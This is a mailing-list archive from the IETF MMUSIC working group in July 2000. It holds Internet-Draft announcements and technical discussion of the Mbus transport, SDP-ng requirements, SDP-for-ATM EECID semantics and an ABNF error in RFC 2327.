Date: Wed, 19 Jul 2000 06:35:12 -0400
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiparty Multimedia Session Control Working Group of the IETF.

	Title		: A Message Bus for Local Coordiantion
	Author(s)	: J. Ott, C. Perkins, D. Kutscher
	Filename	: draft-ietf-mmusic-mbus-transport-02.txt
	Pages		: 38
	Date		: 18-Jul-00
	
In a variety of conferencing scenarios, a local communication
channel is desirable for conference-related information exchange
between co- located but otherwise independent application entities,
for example those taking part in application sessions that belong to
the same conference.  In loosely coupled conferences such a
mechanism allows for coordination of applications entities to e.g.
implement synchronization between media streams or to configure
entities without user interaction. It can also be used to implement
tightly coupled conferences enabling a conference controller to
enforce conference wide control within a end system. 
The local Message Bus (Mbus) provides a means to achieve the
necessary amount of coordination between co-located conferencing
applications for virtually any type of conference as postulated in a
a companion requirement document[11]. The Message Bus comprises two
logically distinct parts: a message transport infrastructure and a
set of common as well as protocol/ media/tool-specific messages
along with a conference-specific addressing scheme. This document
deals with message addressing, transport, and security issues and
defines the message syntax for the Mbus.  It does not define
application oriented semantics and procedures for using the message
bus. Application specific command sets and procedures for
applications using the Mbus are expected to be defined in follow-up
documents. 
This document is intended for discussion in the Multiparty
Multimedia Session Control (MMUSIC) working group of the Internet
Engineering Task Force.  Comments are solicited and should be
addressed to the working group's mailing list at confctrl@isi.edu
and/or the authors.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-mmusic-mbus-transport-02.txt

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mmusic-mbus-transport-02.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-mmusic-mbus-transport-02.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<20000718140552.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-mbus-transport-02.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mmusic-mbus-transport-02.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<20000718140552.I-D@ietf.org>

--OtherAccess--

--NextPart--



From confctrl-owner  Wed Jul 19 03:34:23 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id DAA25461
	for confctrl-outgoing; Wed, 19 Jul 2000 03:34:23 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id DAA25454
	for <confctrl@zephyr.isi.edu>; Wed, 19 Jul 2000 03:34:21 -0700 (PDT)
Received: from ietf.org (odin.ietf.org [132.151.1.176])
	by venera.isi.edu (8.9.3/8.9.3) with ESMTP id DAA16522
	for <confctrl@isi.edu>; Wed, 19 Jul 2000 03:35:10 -0700 (PDT)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA21347;
	Wed, 19 Jul 2000 06:35:17 -0400 (EDT)
Message-Id: <200007191035.GAA21347@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: confctrl@ISI.EDU
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mmusic-confarch-03.txt
Date: Wed, 19 Jul 2000 06:35:16 -0400
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiparty Multimedia Session Control Working Group of the IETF.

	Title		: The Internet Multimedia Conferencing Architecture
	Author(s)	: M. Handley, J. Crowcroft, C. Bormann, J. Ott
	Filename	: draft-ietf-mmusic-confarch-03.txt
	Pages		: 28
	Date		: 18-Jul-00
	
This document provides an overview of multimedia conferencing on the
Internet.  The protocols mentioned are specified elsewhere as RFCs,
Internet-Drafts, or ITU recommendations.  Each of these
specifications gives details of the protocol itself, how it works and
what it does.  This document attempts to provide the reader with an
overview of how the components fit together and of some of the
assumptions made, as well as some statement of direction for those
components still in a nascent stage.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-mmusic-confarch-03.txt

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mmusic-confarch-03.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-mmusic-confarch-03.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<20000718140616.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-confarch-03.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mmusic-confarch-03.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<20000718140616.I-D@ietf.org>

--OtherAccess--

--NextPart--



From confctrl-owner  Wed Jul 19 05:51:32 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id FAA02484
	for confctrl-outgoing; Wed, 19 Jul 2000 05:51:32 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id FAA02479
	for <confctrl@zephyr.isi.edu>; Wed, 19 Jul 2000 05:51:31 -0700 (PDT)
Received: from bettina.informatik.uni-bremen.de (bettina.informatik.uni-bremen.de [134.102.224.3])
	by venera.isi.edu (8.9.3/8.9.3) with ESMTP id FAA21719
	for <confctrl@ISI.EDU>; Wed, 19 Jul 2000 05:52:18 -0700 (PDT)
Received: from daemon.informatik.uni-bremen.de (daemon.informatik.uni-bremen.de [134.102.218.45])
	by bettina.informatik.uni-bremen.de (8.10.1/8.10.1) with ESMTP id e6JCqIx07879
	for <confctrl@ISI.EDU>; Wed, 19 Jul 2000 14:52:20 +0200 (MET DST)
Received: (from dku@localhost)
	by daemon.informatik.uni-bremen.de (8.8.8+Sun/8.8.7) id OAA10173;
	Wed, 19 Jul 2000 14:52:17 +0200 (MEST)
To: confctrl@ISI.EDU
Subject: Re: I-D ACTION:draft-ietf-mmusic-mbus-transport-02.txt
References: <200007191035.GAA21311@ietf.org>
From: Dirk Kutscher <dku@Informatik.Uni-Bremen.DE>
Date: 19 Jul 2000 14:52:16 +0200
In-Reply-To: Internet-Drafts@ietf.org's message of Wed, 19 Jul 2000 06:35:12 -0400
Message-ID: <cdn1jecmf3.fsf@daemon.informatik.uni-bremen.de>
Lines: 30
X-Mailer: Gnus v5.5/Emacs 20.2
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


     > A New Internet-Draft is available from the on-line
     > Internet-Drafts directories.

     > 	Filename	: draft-ietf-mmusic-mbus-transport-02.txt

Folks,

The main changes:

- bug fixes to the ABNF for the message structures

- new section "Awareness of other Entities"
  This specifies the required procedures for entity awareness more
  explicitely and introduces a new algorithm for calculating the
  interval for mbus.hello messages. The algorithm allows the interval
  to scale according to the number of known Mbus entities and deploys
  an RTCP-like timer reconsideration scheme.

- new basic command "mbus.ping"
  Can be sent using any partly or fully qualified target address in
  order to solicit "mbus.hello" messages from the receiving entities.
  This command allows a new entity to quickly check for other entities
  without having to wait for the regular individual hello messages.

The html version is accessible at
http://www.dmn.tzi.org/ietf/mmusic/mbus/draft-ietf-mmusic-mbus-transport-02.html

-- 
	Dirk

From confctrl-owner  Thu Jul 20 01:40:24 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id BAA27956
	for confctrl-outgoing; Thu, 20 Jul 2000 01:40:24 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id BAA27950
	for <confctrl@zephyr.isi.edu>; Thu, 20 Jul 2000 01:40:23 -0700 (PDT)
Received: from bettina.informatik.uni-bremen.de (bettina.informatik.uni-bremen.de [134.102.224.3])
	by venera.isi.edu (8.9.3/8.9.3) with ESMTP id BAA24875
	for <confctrl@ISI.EDU>; Thu, 20 Jul 2000 01:41:12 -0700 (PDT)
Received: from daemon.informatik.uni-bremen.de (daemon.informatik.uni-bremen.de [134.102.218.45])
	by bettina.informatik.uni-bremen.de (8.10.1/8.10.1) with ESMTP id e6K8fIx18540
	for <confctrl@ISI.EDU>; Thu, 20 Jul 2000 10:41:18 +0200 (MET DST)
Received: (from dku@localhost)
	by daemon.informatik.uni-bremen.de (8.8.8+Sun/8.8.7) id KAA08121;
	Thu, 20 Jul 2000 10:41:17 +0200 (MEST)
To: mmusic <confctrl@ISI.EDU>
Subject: [lists.ietf.announce] I-D ACTION:draft-kutscher-mmusic-sdpng-req-00.txt,.ps
From: Dirk Kutscher <dku@Informatik.Uni-Bremen.DE>
Date: 20 Jul 2000 10:41:17 +0200
Message-ID: <cdg0p5chxu.fsf@daemon.informatik.uni-bremen.de>
Lines: 110
X-Mailer: Gnus v5.5/Emacs 20.2
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi,

this is an updated version of the SDP-ng requirements document that
Joerg posted a few days ago.

We have added a description of the system model and the terminology
that is used in the text.

There is an html version at:

http://www.dmn.tzi.org/ietf/mmusic/sdp-ng/draft-kutscher-mmusic-sdpng-req-00.html

-- 
	Dirk

------- Start of forwarded message -------
From: Internet-Drafts@ietf.org
Newsgroups: lists.ietf.announce
Subject: I-D ACTION:draft-kutscher-mmusic-sdpng-req-00.txt,.ps
Date: 19 Jul 2000 17:13:48 +0200
Organization: mail2news gateway
Message-ID: <200007191033.GAA20467@ietf.org>

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.


	Title		: Requirements for Session Description and Capability 
                          Negotiation
	Author(s)	: D. Kutscher, J. Ott, C. Bormann
	Filename	: draft-kutscher-mmusic-sdpng-req-00.txt,.ps
	Pages		: 16
	Date		: 18-Jul-00
	
This document defines some terminology and lists a set of
requirements that are relevant for a framework for session
description and endpoint capability negotiation in multiparty
multimedia conferencing scenarios. 
This document is intended for discussion in the Multiparty
Multimedia Session Control (MMUSIC) working group of the Internet
Engineering Task Force.  Comments are solicited and should be
addressed to the working group's mailing list at confctrl@isi.edu
and/or the authors.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-kutscher-mmusic-sdpng-req-00.txt

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-kutscher-mmusic-sdpng-req-00.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-kutscher-mmusic-sdpng-req-00.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<20000718135603.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-kutscher-mmusic-sdpng-req-00.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-kutscher-mmusic-sdpng-req-00.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<20000718135603.I-D@ietf.org>

--OtherAccess--

--NextPart--


------- End of forwarded message -------

From confctrl-owner  Thu Jul 20 01:53:45 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id BAA28861
	for confctrl-outgoing; Thu, 20 Jul 2000 01:53:45 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id BAA28854
	for <confctrl@zephyr.isi.edu>; Thu, 20 Jul 2000 01:53:43 -0700 (PDT)
Received: from qhars002.nortel.com (qhars002.NortelNetworks.com [192.100.101.19])
	by venera.isi.edu (8.9.3/8.9.3) with ESMTP id BAA25325
	for <confctrl@isi.edu>; Thu, 20 Jul 2000 01:54:31 -0700 (PDT)
Received: from zhard00m.europe.nortel.com (actually zhard00m) 
          by qhars002.nortel.com; Thu, 20 Jul 2000 09:54:12 +0100
Received: by zhard00m.europe.nortel.com 
          with Internet Mail Service (5.5.2652.35) id <3VQ5KL3D>;
          Thu, 20 Jul 2000 09:54:10 +0100
Message-ID: <61ABD11436FED21192440000F81F3E360304C0EF@nwcwi1a.europe.nortel.com>
From: "Mark Watson" <mwatson@nortelnetworks.com>
To: "'Rajesh Kumar'" <rkumar@cisco.com>
Cc: confctrl@ISI.EDU, atmsdp@eng.fore.com, msf-media@msforum.org
Subject: RE: Submission: draft-rajeshkumar-mmusic-sdp-atm-04.txt
Date: Thu, 20 Jul 2000 09:54:01 +0100
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2652.35)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01BFF228.0CC4A210"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01BFF228.0CC4A210
Content-Type: text/plain;
	charset="iso-8859-1"

Rajesh,

Section 1:

"Applications in which existing path resources are assigned to service
connections. These resources could be AAL1 PVCs (or SPVCs), AAL5 PVCs (or
SPVCs), AAL2 single-CID PVCs (or SPVCs), or channels (CIDs) within AAL2 PVCs
(or SPVCs) that multiplex multiple CIDs."

You have missed the case in which a channel within an existing AAL2
multiple-CID *SVC* is used.

5.7.2 states:

"In the forward SVC establishment model, the call-originating gateway
initiates SVC establishment and transmits an eecid to the call-terminating
gateway via SDP."

In BICC forward call model it is the call-terminating gateway which sends
the BNC-ID/EECID to the call-originating gateway (via SDP), which then
returns the EECID value within the SVC extablishment signalling.

Equally:

"The value of the eecid attribute values needs to be unique within the
gateway initiating the SVC set-up but not across multiple gateways. "

The value should be unique within the gateway *terminating* the SVC. Since
the value is generated and processed only by the Gateway terminating the
SVC, and never by any other node, the sentance following the one quoted
above is not needed, and neither is the qualification of the EECID with an
ATM address.

The mechanism is symetrical between forward and backward call models. In
both cases the gateway *receiving* the SVC request is the one which
generated the EECID value. The value is first passed in the Call Control
signalling from one end to the other, and then back in the SVC
establishment. In this was the SVC establishment can be correlated with the
Call at the end receiveing the SVC request.

Well, the above goes if you want EECID to be synonymous with BNC-ID as
stated in the draft.

Forgive me if I haven't read the draft carefully enough, but I didn't spot
any procedure definitions. For example, I can see how to code an ATM end
system address in the c= or m= line, and an eecid in an a= line, but what is
the procedure I should use, say, for backward SVC establishment. I need to:

(1) request the eecid and media gateway address of the originating MG from
that MG
(2) receive a response from the O-MG containing that information
(3) send the eecid and O-MG address to the terminating MG, with an
(implicit/explicit) indication that SVC setup should be initiated
(4) receive a response from O-MG to O-MGC indicating that an SVC has been
extablished
(5) receive a response from T-MG to T-MGC that SVC confirmation has been
received.

If these procedures, and the formats & codes which go with them, are clear
in the IETF, there is some chance of preventing ITU-T Study Group 11
inventing its own extenstion to Megaco for this purpose.

Regards,

Mark Watson
Nortel Networks

-----Original Message-----
From: Rajesh Kumar [mailto:rkumar@cisco.com]
Sent: 30 June 2000 22:44
To: Rosen, Brian; 'Natalia Syracuse'; internet-drafts@ietf.org
Cc: bfoster@cisco.com; confctrl@isi.edu; mjh@aciri.org;
jo@tzi.uni-bremen.de; atmsdp@eng.fore.com; msf-media@msforum.org
Subject: Submission: draft-rajeshkumar-mmusic-sdp-atm-04.txt


 Attached is draft-rajeshkumar-mmusic-sdp-atm-04.txt for placement at the
IETF site. It obsoletes
 draft-rajeshkumar-mmusic-sdp-atm-01.txt, which should be   removed. Please
have it placed
in the IETF site, after checking if it generally legible and well-formatted
(Text files sometimes 
behave idiosyncratically). If formatting is needed, let me know as soon as
possible.

Note to Jeorg: We exchanged emails earlier about allocating a 30 minute slot
at the Pittsburgh IETF
MMUSIC session. Please let me know the date of the review, and the
procedures for moving it 
into standards track expeditiously. That will still give us 6 months of
industry review on the          
mailing list 'atmsdp@eng.fore.com' before it moves into rfc status. 

------_=_NextPart_001_01BFF228.0CC4A210
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2652.35">
<TITLE>RE: Submission: draft-rajeshkumar-mmusic-sdp-atm-04.txt</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2>Rajesh,</FONT>
</P>

<P><FONT SIZE=3D2>Section 1:</FONT>
</P>

<P><FONT SIZE=3D2>&quot;Applications in which existing path resources =
are assigned to service connections. These resources could be AAL1 PVCs =
(or SPVCs), AAL5 PVCs (or SPVCs), AAL2 single-CID PVCs (or SPVCs), or =
channels (CIDs) within AAL2 PVCs (or SPVCs) that multiplex multiple =
CIDs.&quot;</FONT></P>

<P><FONT SIZE=3D2>You have missed the case in which a channel within an =
existing AAL2 multiple-CID *SVC* is used.</FONT>
</P>

<P><FONT SIZE=3D2>5.7.2 states:</FONT>
</P>

<P><FONT SIZE=3D2>&quot;In the forward SVC establishment model, the =
call-originating gateway initiates SVC establishment and transmits an =
eecid to the call-terminating gateway via SDP.&quot;</FONT></P>

<P><FONT SIZE=3D2>In BICC forward call model it is the call-terminating =
gateway which sends the BNC-ID/EECID to the call-originating gateway =
(via SDP), which then returns the EECID value within the SVC =
extablishment signalling.</FONT></P>

<P><FONT SIZE=3D2>Equally:</FONT>
</P>

<P><FONT SIZE=3D2>&quot;The value of the eecid attribute values needs =
to be unique within the gateway initiating the SVC set-up but not =
across multiple gateways. &quot;</FONT></P>

<P><FONT SIZE=3D2>The value should be unique within the gateway =
*terminating* the SVC. Since the value is generated and processed only =
by the Gateway terminating the SVC, and never by any other node, the =
sentance following the one quoted above is not needed, and neither is =
the qualification of the EECID with an ATM address.</FONT></P>

<P><FONT SIZE=3D2>The mechanism is symetrical between forward and =
backward call models. In both cases the gateway *receiving* the SVC =
request is the one which generated the EECID value. The value is first =
passed in the Call Control signalling from one end to the other, and =
then back in the SVC establishment. In this was the SVC establishment =
can be correlated with the Call at the end receiveing the SVC =
request.</FONT></P>

<P><FONT SIZE=3D2>Well, the above goes if you want EECID to be =
synonymous with BNC-ID as stated in the draft.</FONT>
</P>

<P><FONT SIZE=3D2>Forgive me if I haven't read the draft carefully =
enough, but I didn't spot any procedure definitions. For example, I can =
see how to code an ATM end system address in the c=3D or m=3D line, and =
an eecid in an a=3D line, but what is the procedure I should use, say, =
for backward SVC establishment. I need to:</FONT></P>

<P><FONT SIZE=3D2>(1) request the eecid and media gateway address of =
the originating MG from that MG</FONT>
<BR><FONT SIZE=3D2>(2) receive a response from the O-MG containing that =
information</FONT>
<BR><FONT SIZE=3D2>(3) send the eecid and O-MG address to the =
terminating MG, with an (implicit/explicit) indication that SVC setup =
should be initiated</FONT></P>

<P><FONT SIZE=3D2>(4) receive a response from O-MG to O-MGC indicating =
that an SVC has been extablished</FONT>
<BR><FONT SIZE=3D2>(5) receive a response from T-MG to T-MGC that SVC =
confirmation has been received.</FONT>
</P>

<P><FONT SIZE=3D2>If these procedures, and the formats &amp; codes =
which go with them, are clear in the IETF, there is some chance of =
preventing ITU-T Study Group 11 inventing its own extenstion to Megaco =
for this purpose.</FONT></P>

<P><FONT SIZE=3D2>Regards,</FONT>
</P>

<P><FONT SIZE=3D2>Mark Watson</FONT>
<BR><FONT SIZE=3D2>Nortel Networks</FONT>
</P>

<P><FONT SIZE=3D2>-----Original Message-----</FONT>
<BR><FONT SIZE=3D2>From: Rajesh Kumar [<A =
HREF=3D"mailto:rkumar@cisco.com">mailto:rkumar@cisco.com</A>]</FONT>
<BR><FONT SIZE=3D2>Sent: 30 June 2000 22:44</FONT>
<BR><FONT SIZE=3D2>To: Rosen, Brian; 'Natalia Syracuse'; =
internet-drafts@ietf.org</FONT>
<BR><FONT SIZE=3D2>Cc: bfoster@cisco.com; confctrl@isi.edu; =
mjh@aciri.org; jo@tzi.uni-bremen.de; atmsdp@eng.fore.com; =
msf-media@msforum.org</FONT></P>

<P><FONT SIZE=3D2>Subject: Submission: =
draft-rajeshkumar-mmusic-sdp-atm-04.txt</FONT>
</P>
<BR>

<P><FONT SIZE=3D2>&nbsp;Attached is =
draft-rajeshkumar-mmusic-sdp-atm-04.txt for placement at the IETF site. =
It obsoletes</FONT>
<BR><FONT SIZE=3D2>&nbsp;draft-rajeshkumar-mmusic-sdp-atm-01.txt, which =
should be&nbsp;&nbsp; removed. Please have it placed</FONT>
<BR><FONT SIZE=3D2>in the IETF site, after checking if it generally =
legible and well-formatted (Text files sometimes </FONT>
<BR><FONT SIZE=3D2>behave idiosyncratically). If formatting is needed, =
let me know as soon as possible.</FONT>
</P>

<P><FONT SIZE=3D2>Note to Jeorg: We exchanged emails earlier about =
allocating a 30 minute slot at the Pittsburgh IETF</FONT>
<BR><FONT SIZE=3D2>MMUSIC session. Please let me know the date of the =
review, and the procedures for moving it </FONT>
<BR><FONT SIZE=3D2>into standards track expeditiously. That will still =
give us 6 months of industry review on =
the&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </FONT>
<BR><FONT SIZE=3D2>mailing list 'atmsdp@eng.fore.com' before it moves =
into rfc status. </FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01BFF228.0CC4A210--

From confctrl-owner  Thu Jul 20 09:32:36 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id JAA06993
	for confctrl-outgoing; Thu, 20 Jul 2000 09:32:36 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id JAA06988
	for <confctrl@zephyr.isi.edu>; Thu, 20 Jul 2000 09:32:34 -0700 (PDT)
Received: from hazard.aciri.org (adsl-63-196-11-252.dsl.snfc21.pacbell.net [63.196.11.252])
	by venera.isi.edu (8.9.3/8.9.3) with ESMTP id JAA17190
	for <confctrl@isi.edu>; Thu, 20 Jul 2000 09:33:23 -0700 (PDT)
Received: from hazard.aciri.org (localhost.aciri.org [127.0.0.1])
	by hazard.aciri.org (8.9.3/8.9.3) with ESMTP id JAA70120
	for <confctrl@isi.edu>; Thu, 20 Jul 2000 09:33:31 -0700 (PDT)
	(envelope-from mjh@hazard.aciri.org)
From: Mark Handley <mjh@aciri.org>
X-Organisation: ACIRI
To: confctrl@ISI.EDU
Subject: Re: Is there a bug in RFC 2327 (SDP) ? 
Date: Thu, 20 Jul 2000 09:33:31 -0700
Message-ID: <70118.964110811@hazard.aciri.org>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



------- Forwarded Message

From: Mark Handley <mjh@aciri.org>
X-Organisation: ACIRI
To: archow@hss.hns.com
Subject: Re: Is there a bug in RFC 2327 (SDP) ? 
In-reply-to: Your message of "Thu, 20 Jul 2000 16:00:38 +0530."
             <65256922.0039BCA3.00@sampark.hss.hns.com> 
Date: Thu, 20 Jul 2000 09:30:17 -0700
Message-ID: <70087.964110617@hazard.aciri.org>
Sender: mjh@hazard.aciri.org


Arjun Roychowdhury writes:
>I had a doubt abt the SDP grammar listed in Appendix A of RFC 2327 (SDP)
>dated Apr 1998
>
>The grammar shows:
>
>announcement = time-fields
>time-fields  = 1*( "t=" start-time space stop-time
>                *(CRLF repeat-fields) CRLF)
>                 [zone-adjustments CRLF]
>
>zone-adjustments =    time space ["-"] typed-time
>                         *(space time space ["-"] typed-time)
>
>Using above, you could construct a line like
>
>t=0 0
>1 222222222 - 11d
>
>shouldnt there be a z= token before the 2nd line ?
>Or is this intentional ?

You're quite correct - this is an error in the spec.  The main body of
the spec gives the correct syntax:

I think the ABNF for zone-adjustments should read:

zone-adjustments =    "z=" time space ["-"] typed-time
                         *(space time space ["-"] typed-time)

Thanks for pointing this out - we need to correct this before SDP
moves to draft standard.

Cheers,
	Mark

------- End of Forwarded Message


From confctrl-owner  Thu Jul 20 09:55:26 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id JAA10449
	for confctrl-outgoing; Thu, 20 Jul 2000 09:55:26 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id JAA10444
	for <confctrl@zephyr.isi.edu>; Thu, 20 Jul 2000 09:55:25 -0700 (PDT)
Received: from smtprch1.nortel.com (smtprch1.nortelnetworks.com [192.135.215.14])
	by venera.isi.edu (8.9.3/8.9.3) with ESMTP id JAA18816
	for <confctrl@isi.edu>; Thu, 20 Jul 2000 09:56:13 -0700 (PDT)
Received: from zcard015.ca.nortel.com (actually zcard015) 
          by smtprch1.nortel.com; Thu, 20 Jul 2000 11:31:26 -0500
Received: by zcard015.ca.nortel.com with Internet Mail Service (5.5.2652.35) 
          id <PJTQN77B>; Thu, 20 Jul 2000 12:33:35 -0400
Message-ID: <E76AD24CD969D21197370000F81A45C10145DE73@zrtpd00z.us.nortel.com>
From: "Sophia Scoggins" <scoggins@nortelnetworks.com>
To: "Mark Watson" <mwatson@nortelnetworks.com>,
        "'Rajesh Kumar'" <rkumar@cisco.com>
Cc: confctrl@ISI.EDU, atmsdp@eng.fore.com, msf-media@msforum.org
Subject: RE: Submission: draft-rajeshkumar-mmusic-sdp-atm-04.txt
Date: Thu, 20 Jul 2000 11:55:56 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2652.35)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01BFF262.FDBCF840"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01BFF262.FDBCF840
Content-Type: text/plain;
	charset="iso-8859-1"

Mark,
 
 
Regardless forward or backward setup, the principle is whichever MG
(generating MG) chooses an EECID, the other MG (recipient MG) will start the
UNI SETUP. So that the generating MG will not blindly accept the setup
request (although if race condition happens, the MG can choose to blindly
accept the request). In the case that caching is used, the recipient MG will
choose the existing SVC out of its caching pool.
 
The EECID is unqiue within the genering MG, not the recipient MG. This is
because the generating MG has no knowledge about how to make it unique at
the recipient MG. The combination of EECID and MG address can uniquely
identify a connection across the network. 
 
We have an internal paper to demonstrate many different call flows. I will
clean it up and publish the paper to the IETF Megaco and ITU-T SG11 for
reference very soon.
 
 
Regards, Sophia 

-----Original Message-----
From: Watson, Mark [MAIFP:EP11-M:EXCH] 
Sent: Thursday, July 20, 2000 4:54 AM
To: 'Rajesh Kumar'
Cc: confctrl@isi.edu; atmsdp@eng.fore.com; msf-media@msforum.org
Subject: RE: Submission: draft-rajeshkumar-mmusic-sdp-atm-04.txt



Rajesh, 

Section 1: 

"Applications in which existing path resources are assigned to service
connections. These resources could be AAL1 PVCs (or SPVCs), AAL5 PVCs (or
SPVCs), AAL2 single-CID PVCs (or SPVCs), or channels (CIDs) within AAL2 PVCs
(or SPVCs) that multiplex multiple CIDs."

